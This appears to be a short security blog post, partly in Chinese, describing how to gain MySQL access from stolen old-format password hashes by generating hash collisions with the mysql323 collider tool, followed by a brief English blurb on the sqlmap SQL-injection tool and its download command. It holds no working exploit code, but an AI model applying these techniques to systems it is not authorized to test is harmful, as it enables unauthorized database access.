在一些特殊情况下,我们拿到了mysql的hash(比如读取user.MYD),然而我们并不需要真正的明文密码或者就是密码太复杂跑不出来明文,只需要可以连接上mysql进行操作就可以,这个时候我们可以运用Myql HASH 碰撞(Mysql323 HASH Collision)以达到目的.

Steve Thomas 开发了一款名为mysql323 collider的工具用来完成这项任务,我在本机测试了一下,效果很理想

Mysql323collider: http://www.tobtu.com/files/mysql323-collider.zip
MySQL323 Collider Explained: http://www.tobtu.com/mysql323code.php

Thanks quel.
Reference:
[1]http://www.freerainbowtables.com/phpBB3/topic2576.html

Using sqlmap to exploit SQL Injection in MySQL

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of back-end database servers. It comes with a broad range of features lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

Recommend download it from the sqlmap Subversion repository.
$svn co https://svn.sqlmap.org/sqlmap/trunk/sqlmap

[video]
http://www.pentest-lab.com/demo/out.ogv.zip